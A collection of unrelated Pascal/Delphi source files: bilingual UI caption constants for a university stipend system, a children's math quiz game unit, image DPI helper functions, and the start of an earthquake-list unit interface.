const DetailBtn_Caption :array[1..2] of string = ('Перегляд','Просмотр');
const AddManBtn_Caption :array[1..2] of string = ('Додати особу','Добавить человека');
const Man_Caption :array[1..2] of string = ('Фізична особа','Физическое лицо');
const RefreshBtn_Caption :array[1..2] of string = ('Поновити','Обновить');
const ExitBtn_Caption :array[1..2] of string = ('Вийти','Выход');
const YesBtn_Caption :array[1..2] of string = ('Прийняти','Принять');
const CancelBtn_Caption :array[1..2] of string = ('Відмінити','Отменить');
const FilterBtn_Caption :array[1..2] of string = ('Фільтр','Фильтр');
const LocateBtn_Caption :array[1..2] of string = ('Шукати','Искать');
const LocateNextBtn_Caption :array[1..2] of string = ('Далі','Дальше');
const PrintBtn_Caption :array[1..2] of string = ('Друк','Печать');
const SelectBtn_Caption :array[1..2] of string = ('Обрати','Выбрать');
const ClearBtn_Caption :array[1..2] of string = ('Очистити','Очистить');
const DoCountBtn_Caption :array[1..2] of string = ('Розрахувати','Посчитать');
const InverseBtn_Caption :array[1..2] of string = ('Інвертувати','Инвертировать');
const SnBtn_Caption :array[1..2] of string = ('Зняти всі','Снять все');
const WhatsNewBtn_Caption :array[1..2] of string = ('Що нового','Что нового');
const PrintSubItemSvods_Caption :array[1..2] of string = ('Звіти','Отчеты');
const PrintSvodBySch_Caption :array[1..2] of string = ('Звіт за рахунком','Отчеты по счетам');
const PrintReeAlimony_Caption :array[1..2] of string = ('Реєстр аліментників','Реестр алиментников');
const PrintReeDolg_Caption :array[1..2] of string = ('Реєстр боргів','Реестр долгов');
const PrintSvodVed_Caption :array[1..2] of string = ('Зведена відомість','Сводная ведомость');
const PrintVedByFilter_Caption :array[1..2] of string = ('Звіт за фільтром','Отчет по фильтру');
const PrintSpDohSubs_Caption :array[1..2] of string = ('Довідка про доходи(субсидія)','Справка о доходах(субсидия)');
const PrintSpDoh_Caption :array[1..2] of string = ('Довідка про доходи','Справка о доходах');
const Indexation_Caption :array[1..2] of string = ('Індексація','Индексация');
const MenuPrint_Caption :array[1..2] of string = ('Друк','Печать');
const RecDeleteBtn_Caption :array[1..2] of string = ('Видалити з розрахунку','Удалить из пересчета');
const RecDeleteAllBtn_Caption :array[1..2] of string = ('Видалити усіх','Удалить всех');
const PrintVedByMonth_Caption :array[1..2] of string = ('Відомість за місяцем','Ведомость по месяцу');
const InsertAll_Caption :array[1..2] of string = ('Додати усіх','Добавить всех');
//******************************************************************************
const LabelShifr_Caption :array[1..2] of string = ('Шифр','Шифр');
const LabelFirm_Caption :array[1..2] of string = ('Підприємство','Предприятие');
const LabelStudent_Caption :array[1..2] of string = ('Студент','Студент');
const LabelProgress_Caption :array[1..2] of string = ('Прогрес','Прогресс');
const LabelFormSheet_Caption :array[1..2] of string = ('Формувати відомості','Формировать ведомости');
const LabelStudentMoving_Caption :array[1..2] of string = ('Навчання','Навчання');
const LabelVidOpl_Caption :array[1..2] of string = ('Вид операції','Вид операции');
const LabelDepartment_Caption :array[1..2] of string = ('Група','Группа');
const LabelKodDepartment_Caption :array[1..2] of string = ('Код групи','Код группы');
const LabelNameDepartment_Caption :array[1..2] of string = ('Назва групи','Название группы');
const LabelSmeta_Caption :array[1..2] of string = ('Кошторис','Смета');
const LabelTypeSheet_Caption :array[1..2] of string = ('Тип відомості','Тип ведомости');
const LabelCategory_Caption :array[1..2] of string = ('Категорія','Категория');
const LabelPost_Caption :array[1..2] of string = ('Посада','Посада');
const LabelPeriod_Caption :array[1..2] of string = ('Період','Период');
const LabelPrikaz_Caption :array[1..2] of string = ('Наказ','Приказ');
const LabelSumma_Caption :array[1..2] of string = ('Сума','Сумма');
const LabelMin_Caption :array[1..2] of string = ('Мінімум','Минимум');
const LabelMax_Caption :array[1..2] of string = ('Максімум','Максимум');
const LabelPercent_Caption :array[1..2] of string = ('Відсоток','Процент');
const LabelWaitData_Caption :array[1..2] of string = ('Зачекайте, йде відбір даних!','Подождите, идет отбор данных!');
const LabelDateBeg_Caption :array[1..2] of string = ('Початок','Начало');
const LabelDateEnd_Caption :array[1..2] of string = ('Закінчення','Окончание');
const LabelKod_Caption :array[1..2] of string = ('Код','Код');
const LabelTin_Caption :array[1..2] of string = ('Ідентифікаційний номер','Идентификационный номер');
const LabelFIO_Caption :array[1..2] of string = ('П.І.Б.','Ф.И.О.');
const LabelName_Caption :array[1..2] of string = ('Назва','Название');
const LabelNameShort_Caption :array[1..2] of string = ('Скорочена назва','Сокращенное название');
const LabelNameFull_Caption :array[1..2] of string = ('Повна назва','Полное название');
const LabelMonth_Caption :array[1..2] of string = ('Місяць','Месяц');
const LabelYear_Caption :array[1..2] of string = ('Рік','Год');
const LabelHours_Caption :array[1..2] of string = ('Години','Часы');
const LabelDays_Caption :array[1..2] of string = ('Дні','Дни');
const LabelNotFilter_Caption :array[1..2] of string = ('Без фільтра','Без фильтра');
const LabelKvartal_Caption :array[1..2] of string = ('Квартал','Квартал');
const LabelPachka_Caption :array[1..2] of string = ('Пачка','Пачка');
const LabelNote_Caption :array[1..2] of string = ('Примітка','Примечание');
const LabelKurs_Caption :array[1..2] of string = ('Курс','Курс');
const LabelDocument_Caption :array[1..2] of string = ('Документ','Документ');
const LabelSendPeople_Caption :array[1..2] of string = ('Адресат','Адресат');
const LabelSendAdress_Caption :array[1..2] of string = ('Адреса','Адреса');
const LabelBal_Caption :array[1..2] of string = ('Середній бал','Средний балл');
const LabelShowContracts_Caption :array[1..2] of string = ('Показувати контрактників','Показывать контрактников');
const LabelContracts_Caption :array[1..2] of string = ('Контракт','Контракт');
const LabelButgets_Caption :array[1..2] of string = ('Бюджет','Бюджет');
const LabelAcctCard_Caption :array[1..2] of string = ('Картковий рахунок','Карточный счет');
const LabelTypePayment_Caption :array[1..2] of string = ('Тип виплати','Тип выплаты');
const LabelMonthFinish_Caption :array[1..2] of string = ('Кінець місяця','Конец месяца');
const LabelOperationsFilter_Caption:array[1..2] of string = ('Фільтрувати операції','Фильтровать операции');
const LabelIndexMinim_Caption :array[1..2] of string = ('Прожітковий мінімум','Прожиточный минимум');
const LabelIndexPercent_Caption :array[1..2] of string = ('Відсоток','Процент');
const VidTraining_Caption :array[1..2] of string = ('Вид навчання','Вид обучения');
const BasePeriod_Caption :array[1..2] of string = ('Базовий період','Базовый период');
const MonthesList_Text :array[1..2] of string = ('Січень'+#13+'Лютий'+#13+'Березень'+#13+
'Квітень'+#13+'Травень'+#13+'Червень'+#13+
'Липень'+#13+'Серпень'+#13+'Вересень'+#13+
'Жовтень'+#13+'Листопад'+#13+'Грудень',
'Январь'+#13+'Февраль'+#13+'Март'+#13+
'Апрель'+#13+'Май'+#13+'Июнь'+#13+
'Июль'+#13+'Август'+#13+'Сентябрь'+#13+
'Октябрь'+#13+'Ноябрь'+#13+'Декабрь');
const ToBuffer_Caption :array[1..2] of string = ('Занести до буфера','Копировать в буфер');
//******************************************************************************
const Caption_Insert :array[1..2] of string = ('Додавання запису','Добавление записи');
const Caption_Update :array[1..2] of string = ('Редагування запису','Изменение записи');
const Caption_Delete :array[1..2] of string = ('Вилучення запису','Удаление записи');
const Caption_Detail :array[1..2] of string = ('Перегляд запису','Просмотр записи');
const DeleteRecordQuestion_Text :array[1..2] of string = ('Ви дійсно бажаєте'+#13+'вилучити обраний запис?',
'Вы действительно хотите'+#13+'удалить выбранную запись?');
const DeleteRecordQuestion_Text_Mas:array[1..2] of string = ('Ви дійсно бажаєте'+#13+'вилучити усі обрані записи?',
'Вы действительно хотите'+#13+'удалить все выбранные записи?');
const DelAllRecordsQuestion_Text :array[1..2] of string = ('Ви дійсно бажаєте'+#13+'вилучити усі записи?',
'Вы дейтсвительно хотите'+#13+'удалить все запись?');
//******************************************************************************
// Вопросы
const Q_DoYouWantExit_Text :array[1..2] of string = ('Ви дійсно бажаєте вийти?','Вы действительно хотите выйти?');
//******************************************************************************
//Labels
const UserLabel_Caption :array[1..2] of string = ('Користувач','Пользователь');
const LoginLabel_Caption :array[1..2] of string = ('Пароль','Пароль');
const SystemLabel_Caption :array[1..2] of string = ('Автоматизована'+#13+'підсистема розрахунка'+#13+'стипендії','Автоматизированная'+#13+'система расчета'+#13+'стипендии');
const RightsLabel_Caption :array[1..2] of string = ('Права на даний продукт захищені українським та міжнародним законодавством. Усі права належать ДонНУ.',
'Права на данный продукт защищиены украинским и международним законодательстов. Все права принадлежат ДонНУ.');
const VersionLabel_Caption :array[1..2] of String = ('Версія: ','Версия: ');
//******************************************************************************
const Yes_Text :array[1..2] of String = ('Так','Да ');
const No_Text :array[1..2] of String = ('Ні ','Нет');
const Contract_Text :array[1..2] of String = ('Контракт ','Контракт');
const Budget_Text :array[1..2] of String = ('Бюджет ','Бюджет');
const Foundation_Text :array[1..2] of String = ('Основа','Основание');
const GrantData_Text :array[1..2] of String = ('Дані стипендіальних виплат','Данные стипендиальных выплат');
const AlimonyData_Text :array[1..2] of String = ('Дані про аліменти','Данные про алименты');
const Grant_Text :array[1..2] of String = ('Стипендія','Стипендия');
const Terms_Text :array[1..2] of String = ('Періоди навчання','Сроки обучения');
const Summary_Text :array[1..2] of String = ('Всього','Всего');
const Vacation_Text :array[1..2] of String = ('Відпустка','Отпуск');
//******************************************************************************
//Ошибки
const ECaption :array[1..2] of string = ('Помилка','Ошибка');
const ELoadBplText :array[1..2] of string = ('Не можливо завантажити пакет','Невозможно загрузить пакет');
const ENotAccess :array[1..2] of string = ('Ви не маєте прав доступа до цієї системи!','У вас нет прав для входа в систему!');
const EOpenConfigText :array[1..2] of string = ('Не можливо підключитися до файлу параметрів!','Не возможно подключиться с файлу настроек!');
const EOpenDBText :array[1..2] of string = ('Не можливо з''єднатися з базою даних!','Не возможно соединиться с базой данных!');
const EDateNullText :array[1..2] of string = ('Не можна не задати дату!','Дата не может быть не заданной!');
const EInputKodSetups_Text :array[1..2] of string = ('Період початку має'+#13+'бути меншим за період закінчення!',
'Период начал должен'+#13+'быть меньше периода окончания!');
const EInputTerms_Text :array[1..2] of string = ('Початок терміна дії має'+#13+'бути меншим за закінчення!',
'Дата началя срока действия должна'+#13+'быть меньше даты окончания!');
const EnotInputData_Text :array[1..2] of string = ('Не введено дані!',
'Не ведены данные!');
const EManInput_Text :array[1..2] of string = ('Не обрано фізичну особу','Не выбрано физическое лицо');
const EMonthInput_Text :array[1..2] of string = ('Не обрано місяць','Не выбран месяц');
const EYearInput_Text :array[1..2] of string = ('Помилка вводу року','Ошибка ввода года');
const ESummaInput_Text :array[1..2] of string = ('Не введено суму','Не введена сумма');
const ECategoryInput_Text :array[1..2] of string = ('Не обрано категорію','Не выбрана категория');
const EVidOplInput_Text :array[1..2] of string = ('Не обрано вид операції','Не выбран вид оплаты');
const EDepartmentInput_Text :array[1..2] of string = ('Не обрано групу','Не выбрано группу');
const EPostInput_Text :array[1..2] of string = ('Не обрано посаду','Не выбрана должность');
const ESmetaInput_Text :array[1..2] of string = ('Не обрано кошторис','Не выбрана смета');
const EStudentMovingNotSelect_Text :array[1..2] of string = ('Не обрано термін навчання','Не выбран срок обученя');
const EVidTraining_Text :array[1..2] of string = ('Не обран вид навчання','Не выбран вид обучения');
//******************************************************************************
//******************************************************************************
//Столбцы гридов
const GridClTn_Caption :array[1..2] of string = ('Т.н.','Т.н.');
const GridClTin_Caption :array[1..2] of string = ('Ід. код','Ид. код');
const GridClContract_Caption :array[1..2] of string = ('Контракт','Контракт');
const GridClFIO_Caption :array[1..2] of string = ('П.І.Б.','Ф.И.О.');
const GridClCategory_Caption :array[1..2] of string = ('Категорія','Категория');
const GridClKurs_Caption :array[1..2] of string = ('Курс','Курс');
const GridClViplata_Caption :array[1..2] of string = ('Сплачено','Выплата');
const GridClDeponir_Caption :array[1..2] of string = ('Депоновано','Депонент');
const GridClRaznoe_Caption :array[1..2] of string = ('Різне','Разное');
const GridClKod_Caption :array[1..2] of string = ('Код','Код');
const GridClBirthDate_Caption :array[1..2] of string = ('Дата народження','Дата рождения');
const GridClDateBeg_Caption :array[1..2] of string = ('Початок','Начало');
const GridClDateEnd_Caption :array[1..2] of string = ('Закінчення','Окончание');
const GridClDateAcc_Caption :array[1..2] of string = ('Дата розрахунка','Дата расчета');
const GridClDate_Caption :array[1..2] of string = ('Дата','Дата');
const GridClTypeAcc_Caption :array[1..2] of string = ('Дата','Дата');
const GridClKodSetup_Caption :array[1..2] of string = ('Період','Период');
const GridClBegin_Caption :array[1..2] of string = ('Початок','Начало');
const GridClEnd_Caption :array[1..2] of string = ('Закінчення','Окончание');
const GridClKodVo_Caption :array[1..2] of string = ('ВО','ВО');
const GridClSumma_Caption :array[1..2] of string = ('Сума','Сумма');
const GridClSumma_Stud_Caption :array[1..2] of string = ('Макс. сума індексації','Сумма');
const GridClTypeCount_Caption :array[1..2] of string = ('Тип розрахунка','Тип расчета');
const GridClTypeCount_Acc_Text :array[1..2] of string = ('Розрахунок','Расчет');
const GridClTypeCount_Rec_Text :array[1..2] of string = ('Перерахунок','Пересчет');
const GridClP1_Caption :array[1..2] of string = ('+/-','+/-');
const GridClP1_Nar_Text :array[1..2] of string = ('Нарахування','Начисление');
const GridClP1_Ud_Text :array[1..2] of string = ('Утримання','Удержание');
const GridClNday_Caption :array[1..2] of string = ('Дні','Дни');
const GridClNameVo_Caption :array[1..2] of string = ('Вид операції','Вид операции');
const GridClKodSmeta_Caption :array[1..2] of string = ('См.','См.');
const GridClNameSmeta_Caption :array[1..2] of string = ('Смета','Смета');
const GridClKodDepartment_Caption :array[1..2] of string = ('Гр.','Гр.');
const GridClNameDepartment_Caption :array[1..2] of string = ('Група','Группа');
const GridClTypeViplata_Caption :array[1..2] of string = ('Банк','Банк');
const GridClPercent_Caption :array[1..2] of string = ('%','%');
const GridClDolg_Caption :array[1..2] of string = ('Борг','Долг');
const GridClBank_Caption :array[1..2] of string = ('Банк','Банк');
const GridClMaxPercent_Caption :array[1..2] of string = ('Найбільший %','Наибольший %');
const GridClPochtaPercent_Caption :array[1..2] of string = ('Поштовий збір','Почтовый сбор');
const GridClShifr_Caption :array[1..2] of string = ('Шифр','Шифр');
const GridClTypePayment_Caption :array[1..2] of string = ('Тип виплати','Тип выплаты');
const ZPeopleProp_Caption :array[1..2] of string = ('Властивості фізичних осіб','Свойства физических лиц');
const GridClPropertyName_Caption :array[1..2] of string = ('Властивість','Свойство');
const GridClBegPeriod_Caption :array[1..2] of string = ('Початок','Начало');
const GridClEndPeriod_Caption :array[1..2] of string = ('Закінчення','Окончание');
const GridClDateEndVac_Caption :array[1..2] of string = ('Закінчення','Окончание');
const GridClDateBegVac_Caption :array[1..2] of string = ('Початок','Начало');
const GridClPrikazVac_Caption :array[1..2] of string = ('Наказ','Приказ');
const GridPeriodCalc_Caption :array[1..2] of string = ('Період розрахунку','Период расчета');
const GridIndexInfl_Caption :array[1..2] of string = ('Індекс інфляції','Индекс инфляции');
const GridLiveMin_Caption :array[1..2] of string = ('Прожитковий мінімум','Прожиточный минимум');
const GridHandEdit_Caption :array[1..2] of string = ('Ручна правка','Ручная правка');
const GridClBal_Caption :array[1..2] of string = ('Середній бал','Средний бал');
const GridClForma_Ob_Caption :array[1..2] of string = ('Форма навчання','Форма обучения');
//******************************************************************************
//Сообщения
const MReadParametersText :array[1..2] of string = ('Завантажуються властивості','Загружаются свойства');
const MDBConnectingText :array[1..2] of string = ('Встановлюється підключення до БД','Устанавливается соединение с БД');
//******************************************************************************
//Заголовки дерева
const TreeClGranted_Caption :array[1..2] of string = ('Кількість стипендіатів','Количество стипендиатов');
const TreeClTotal_Caption :array[1..2] of string = ('Кількість студентів','Количество студентов');
resourcestring
INI_FILENAME = 'config.ini';
PathReports = '\Reports\Grant\';
implementation
end.
|
(* Copyright 2018 B. Zoltán Gorza
*
* This file is part of Math is Fun!, released under the Modified BSD License.
*)
{ Game class, this class is responsible to hold everything together.
It also provides a very minimalistic interface to keep things under control. }
unit GameClass;
{$mode objfpc}
{$H+}
interface
uses
OperationClass,
ExpressionClass,
StatisticsClass;
type
{ Level of difficulty.
@seealso(expressionGenerator) }
TLevel = 1..5;
{ Container record for available settings. }
TSettings = record
{ Number of games (0 for intinite -- default: 10)}
nog: Integer;
{ Include non-arithmetic expressions (default: @false)}
incNA: Boolean;
{ Level of difficulty (default: 2) }
lvl: TLevel;
{ Include negative numbers (default: False) }
incNeg: Boolean;
end;
{ The holy game class. }
TGame = class
private
_nog: Integer;
_incNA: Boolean;
_lvl: TLevel;
_incNeg: Boolean;
_stats: TStatistics;
_cg: Integer;
function _isFiniteGame: Boolean; inline;
function _finiteGame: Boolean; inline;
function _infiniteGame: Boolean; inline;
public
{ The number of currently played games. }
property numberOfGames: Integer read _cg;
{ }
property includeNonArithmetic: Boolean read _incNA;
{ Level of difficulty. }
property level: TLevel read _lvl;
{ }
property includeNegative: Boolean read _incNeg;
{ }
property stats: TStatistics read _stats;
{ Contructor
@param(nog Number of games)
@param(incNA Include non-arithmetic)
@param(lvl Level of difficulty)
@param(incNeg Include negative numbers) }
constructor create(const nog: Integer;
const incNA: Boolean;
const lvl: TLevel;
const incNeg: Boolean); // options goes here
{ Increases the @(numberOfGames current turn) and generates a new
expression. }
function newTurn: TExpression;
{ Gives the user's input tot he expression instance and
returns a boolean value depending on whether the game is finite
or infinite.
This is used in the main loop, that is implemented in the
program itself (hence the backend is independent from the
@link(numberio frontend). }
function doContinue(const userInput: Double): Boolean; inline;
end;
TText = (normal, out);
const
// as they are defined in TLevel
{ Minimum @link(TLevel level) }
MIN_LEVEL = 1;
{ Maximum @link(TLevel level) }
MAX_LEVEL = 5;
// function randomGenerator(const lvl: TLevel; const incNeg: Boolean): Integer;
{ @link(TExpression Expression) generator function. Takes the settings as
parameters and the index.
@param(incNA Include non-arithmetic)
@param(lvl Level of difficulty)
@param(incNeg Include negative numbers)
@param(index Intex)
@return(Our fancy new expression)}
function expressionGenerator(const incNA: Boolean;
const lvl: TLevel;
const incNeg: Boolean;
const index: Integer = 0): TExpression; overload;
{ @link(TExpression Expression) generator function. Takes the settings as
parameters and the index.
@param(incNA Include non-arithmetic)
@param(lvl Level of difficulty)
@param(incNeg Include negative numbers)
@param(o Operation type)
@return(Our fancy new expression)}
function expressionGenerator(const incNA: Boolean;
const lvl: TLevel;
const incNeg: Boolean;
const o: TOp): TExpression; overload;
implementation // --------------------------------------------------------------
uses
Math;
const
{ Defines the number of easy operations, used during random generation. }
EASYOP = 4; //< 0: add, 1: sub, 2: mul, 3: div
{ Non-arithmetic problems' texts. }
TEXTS: Array[0..1, 0..3, TText] of String = (
(('If Pete has %d apples and Jacky has %d, then how many apples do they'
+ ' have together?', 'They have %d apples.'),
('When Peter has %d apples but gives Jackie %d of them, how many'
+ ' apples do Peter have?', 'He has %d apples.'),
('If Pete had %d apples during the first year and he got the same '
+ 'amount of apple every year for %d years, how many apple does he '
+ ' have now?', 'He has %d apples.'),
('If Petey had %d apple and he has %d friends to whom he want to give'
+ ' the same amount of apple, how many apples will everyone have '
+ '(including Petey, who likes apples too)?', 'Everyone should have'
+ ' %d apples.')),
(('', ''),
('', ''),
('', ''),
('', ''))
);
{ Tricky non-arithmetic problems' texts. }
FUN_TEXTS: Array[0..1, 0..3, TText] of String = (
(('You have %d pines and %d apples. How many pineapples you have?',
'You have %d (pines and apples don''t make any pineapples, duh!'),
('You''ve %d platypi and %d kiwis. How many of these are able to fly?',
'Exactly! At least if you wrote %d.'),
('How many is %d times %d nothing?', '%d.'),
('There are %d birds (pigeons, crows, whatever) on a wire and you shoot'
+ ' %d of them. How many remains?',
'They''re scared dude, there''s %d!')),
(('If there are little houses on a hillside, and there are %d pink ones'
+ ', 1 green one, 1 blue one and %d yellow, then how many of them are'
+ ' unique designs?', '%d, because "Little boxes on the hillside \ '
+ 'Little boxes made of ticky-tacky \ Little boxes on the hillside \'
+ ' Little boxes all the same..."'),
('', ''),
('', ''),
('', ''))
);
function randomGenerator(const lvl: TLevel; const incNeg: Boolean): Integer;
begin
if not incNeg then
randomGenerator := random(trunc(power(10, lvl)))
else
randomGenerator := random(
trunc(power(10, lvl) * 1.5)) - trunc(power(10, lvl) * 0.5);
//randomGenerator := random(power(10, lvl) * 2) - power(10, lvl);
end;
function expressionGenerator(const incNA: Boolean;
const lvl: TLevel;
const incNeg: Boolean;
const index: Integer = 0): TExpression; overload;
var
mode: TOperationCategory;
tmpI, tmpI2: Integer;
txt: String;
outTxt: String;
o: TOperation;
begin
// initialize
txt := '';
outTxt := '';
// initialize mode
if incNA then
begin
tmpI := randomGenerator(2, False);
case tmpI of
72, 99: mode := text;
42: mode := tricky;
else mode := arithmetic;
end;
end
else
mode := arithmetic;
// initialize operation and texts (if needed)
if mode <> arithmetic then
begin
tmpI2 := random(EASYOP);
if mode = text then
begin
tmpI := random(length(TEXTS));
txt := TEXTS[tmpI, tmpI2, normal];
outTxt := TEXTS[tmpI, tmpI2, out];
end
else
begin
if mode = tricky then
begin
tmpI := random(length(FUN_TEXTS));
txt := FUN_TEXTS[tmpI, tmpI2, normal];
outTxt := FUN_TEXTS[tmpI, tmpI2, out];
end;
end;
end
else
tmpI2 := random(NOO);
o := OPERATIONS[tmpI2];
expressionGenerator := TExpression.create(randomGenerator(lvl, incNeg),
randomGenerator(lvl, incNeg),
o,
index,
mode,
txt,
outTxt);
end;
function expressionGenerator(const incNA: Boolean;
const lvl: TLevel;
const incNeg: Boolean;
const o: TOp): TExpression; overload;
const
index = 0;
var
mode: TOperationCategory;
tmpI, tmpI2: Integer;
txt: String;
outTxt: String;
begin
// initialization
txt := '';
outTxt := '';
// initialize mode
if incNA then
begin
tmpI := randomGenerator(2, False);
case tmpI of
72, 99: mode := text;
14: mode := tricky;
else mode := arithmetic;
end;
end
else
mode := arithmetic;
// initialize texts by the gotten operation (if needed)
if mode <> arithmetic then
begin
tmpI2 := ord(o) mod EASYOP;
if mode = text then
begin
tmpI := random(length(TEXTS));
txt := TEXTS[tmpI, tmpI2, normal];
outTxt := TEXTS[tmpI, tmpI2, out];
end
else
begin
if mode = tricky then
begin
tmpI := random(length(FUN_TEXTS));
txt := FUN_TEXTS[tmpI, tmpI2, normal];
outTxt := FUN_TEXTS[tmpI, tmpI2, out];
end;
end;
end
else
tmpI2 := ord(o);
expressionGenerator := TExpression.create(randomGenerator(lvl, incNeg),
randomGenerator(lvl, incNeg),
OPERATIONS[tmpI2],
index,
mode,
txt,
outTxt);
end;
constructor TGame.create(const nog: Integer;
const incNA: Boolean;
const lvl: TLevel;
const incNeg: Boolean);
begin
_nog := nog;
_incNA := incNA;
_lvl := lvl;
_incNeg := incNeg;
_stats := TStatistics.create;
_cg := 0;
end;
function TGame._isFiniteGame: Boolean; inline;
begin
_isFiniteGame := _nog > 0;
end;
function TGame._finiteGame: Boolean; inline;
begin
_finiteGame := _nog <= _cg;
end;
function TGame._infiniteGame: Boolean; inline;
begin
_infiniteGame := _stats.lastExpression.isCorrect <> correct;
end;
function TGame.newTurn: TExpression;
var
e: TExpression;
begin
_cg += 1;
e := expressionGenerator(_incNA, _lvl, _incNeg, _cg);
_stats.addExpression(e);
newTurn := e;
end;
function TGame.doContinue(const userInput: Double): Boolean; inline;
begin
_stats.lastExpression.getUserInput(userInput);
if _isFiniteGame then
doContinue := _finiteGame
else
doContinue := _infiniteGame;
end;
initialization
randomize;
end.
|
unit uI2XDWImageUtils;
interface
uses
SysUtils,
Graphics,
uI2XConstants,
uI2XTemplate,
uDWImage,
Windows,
Classes,
GIFImg;
const
UNIT_NAME = 'uI2XDWImageUtils';
function EstimatedImageResolution(img : TDWImage;
template : CTemplate ): integer; overload;
function EstimatedImageResolution(img : TDWImage;
modelWidth, modelHeight, modelResolution : integer): integer; overload;
function DPIToPixelsPerMeter( res : integer): Cardinal;
function ImageResolutionCheck(img : TDWImage;
template : CTemplate ): boolean;
function JPGDPI( JPGFileName : string ) : TPoint;
function GIFDPI( GIFFileName : string ) : TPoint;
function BMPDPI( BMPFileName : string ) : TPoint;
function ImageDPI( const ImageFileName : string ) : TPoint; overload;
function ImageDPI( const ImageFileName : string; const DPIToSetImageTo : cardinal ) : boolean; overload;
//function TIFDPI( TIFFileName : string ) : TPoint;
implementation
function ImageDPI( const ImageFileName : string; const DPIToSetImageTo : cardinal ) : boolean; overload;
var
dw : TDWImage;
Begin
try
dw := TDWImage.Create();
dw.LoadFromFile( ImageFileName );
dw.setDPI( DPIToSetImageTo );
dw.SaveToFile( ImageFileName );
finally
FreeAndNil( dw );
end;
End;
function ImageDPI( const ImageFileName : string ) : TPoint;
var
sExt : string;
Begin
SExt := ExtractFileExt( ImageFileName );
if (( SExt='.jpg' ) or ( SExt='.jpg' )) then begin
Result := JPGDPI( ImageFileName );
end else if (( SExt='.tif' ) or ( SExt='.tiff' )) then begin
Result := TIFDPI( ImageFileName );
end else if ( SExt='.gif' ) then begin
Result := GIFDPI( ImageFileName );
end else if ( SExt='.bmp' ) then begin
Result := BMPDPI( ImageFileName );
end;
End;
function BMPDPI( BMPFileName : string ) : TPoint;
Begin
End;
function JPGDPI( JPGFileName : string ) : TPoint;
const
BufferSize = 50;
var
Buffer : STRING;
index : INTEGER;
FileStream : TFileStream;
xResolution: WORD;
yResolution: WORD;
Begin
FileStream := TFileStream.Create(JPGFileName,
fmOpenRead OR fmShareDenyNone);
TRY
SetLength(Buffer, BufferSize);
FileStream.Read(buffer[1], BufferSize);
index := POS('JFIF'+#$00, buffer);
IF index > 0
THEN BEGIN
FileStream.Seek(index+7, soFromBeginning);
FileStream.Read(xResolution, 2);
FileStream.Read(yResolution, 2);
xResolution := Swap(xResolution);
yResolution := Swap(yResolution);
Result.X := xResolution;
Result.Y := yResolution;
//ShowMessage('xResolution=' +
// IntToStr(xResolution) +
// ', yResolution=' +
// IntToStr(yResolution))
END
FINALLY
FileStream.Free
END
End;
function GIFDPI( GIFFileName : string ) : TPoint;
var
gif : TGIFImage;
Begin
gif := TGIFImage.Create();
TRY
gif.LoadFromFile( GIFFileName );
Result.X := gif.ColorResolution;
Result.Y := gif.ColorResolution;
FINALLY
gif.Free;
END
End;
function DPIToPixelsPerMeter( res : integer): Cardinal;
Begin
Result := Round( res / 0.0254 );
End;
function ImageResolutionCheck(img : TDWImage;
template : CTemplate ): boolean;
var
estRes : integer;
bmp : Graphics.TBitmap;
wbmp : Windows.TBitmap;
Begin
if (( img.DPIX = 0 ) or ( img.DPIY = 0 )) then begin
estRes := EstimatedImageResolution( img, template );
if ( estRes > 0 ) then begin
try
bmp := Graphics.TBitmap.Create;
bmp.Assign( img.BitMap );
// wbmp := bmp;
//wbmp.
//bmp.
//img.BitMap.Assign();
finally
FreeAndNil( bmp );
end;
end;
end;
End;
function EstimatedImageResolution(img : TDWImage;
template : CTemplate ): integer; overload;
var
doc_dpi, model_pixel_width, model_pixel_height : integer;
Begin
Result := 0;
if ( template.getData('doc_dpi') = '' ) then
raise Exception.Create( 'Doc DPI missing the template.' );
if ( template.getData('model_pixel_width') = '' ) then
raise Exception.Create( 'Model Pixel Width is missing template.' );
if ( template.getData('model_pixel_height') = '' ) then
raise Exception.Create( 'Model Pixel Height is missing from template.' );
doc_dpi := StrToInt( template.getData('doc_dpi') );
model_pixel_width := StrToInt( template.getData('model_pixel_width') );
model_pixel_height := StrToInt( template.getData('model_pixel_height') );
Result := EstimatedImageResolution( img, model_pixel_width, model_pixel_height, doc_dpi );
End;
function EstimatedImageResolution(img : TDWImage;
modelWidth, modelHeight, modelResolution : integer): integer;
var
estResIdx, nLow, nHigh : integer;
ratios : array[0..9] of Integer;
ratioResolutions : array[0..9] of Extended;
ratioWidth : Extended;
ratioHeight : Extended;
ratioWork : Extended;
idxCurrentResolution : Integer;
//ratioWidth : array[0..9] of Integer;
//ratioHeight : array[0..9] of Integer;
i : integer;
Begin
ratioWork := 99999;
ratios[0] := 72;
ratios[1] := 90;
ratios[2] := 100;
ratios[3] := 150;
ratios[4] := 200;
ratios[5] := 300;
ratios[6] := 600;
ratios[7] := 900;
ratios[8] := 1200;
for I := 0 to 8 do
ratioResolutions[i] := ratios[i] / modelResolution;
ratioWidth := img.Width / modelWidth;
ratioHeight := img.height / modelHeight;
for I := 0 to 8 do begin
if ( abs(ratioResolutions[i] - ratioWidth ) < ratioWork ) then begin
estResIdx := i;
ratioWork := abs(ratioResolutions[i] - ratioWidth );
end;
end;
Result := ratios[estResIdx];
End;
END.
|
UNIT UEarthquake;
INTERFACE
{* exposed functions and procedures *}
{* Inserts new earthquake to earthquakes list sorted by date (DESC)
*
* @param latitude REAL Latitude value of geopoint
* @param longitude REAL Longitude value of geopoint
* @param strength REAL Strength value of earthquake (richter magnitude scale)
* @param city STRING City near geopoint of earthquake
* @param dateString STRING Date when earthquake occured. Strict Format: 'dd.mm.yyyy'
*}
PROCEDURE AddEarthquake(latitude, longitude, strength: REAL; city: STRING; dateString: STRING);
{* Returns total number of earthquakes in list
*
* @return INTEGER Number of earthquakes
*}
FUNCTION TotalNumberOfEarthquakes: INTEGER;
{* Returns Number of earthquakes between two given dates
*
* @paramIn fromDate STRING Datestring of (inclusive) beginning date of timespan. Strict Format: 'dd.mm.yyyy'
* @paramIn toDate STRING Datestring of (inclusive) ending date of timespan Strict Format: 'dd.mm.yyyy'
* @return INTEGER Number of earthquakes found
*}
FUNCTION NumberOfEarthquakesInTimespan(fromDate, toDate: STRING): INTEGER;
{* Gets the data of earthquake with biggest strength in given region
*
* @paramIn latitudeIn1 REAL Latitude value of first geopoint
* @paramIn longitudeIn1 REAL Longitude value of first geopoint
* @paramIn latitudeIn2 REAL Latitude value of second geopoint
* @paramIn longitudeIn2 REAL Longitude value of second geopoint
* @paramOut latitudeOut REAL Latitude value of found earthquake
* @paramOut longitudeOut REAL Longitude value of found earthquake
* @paramOut strength REAL Strength value of found earthquake
* @paramOut city STRING City of found earthquake
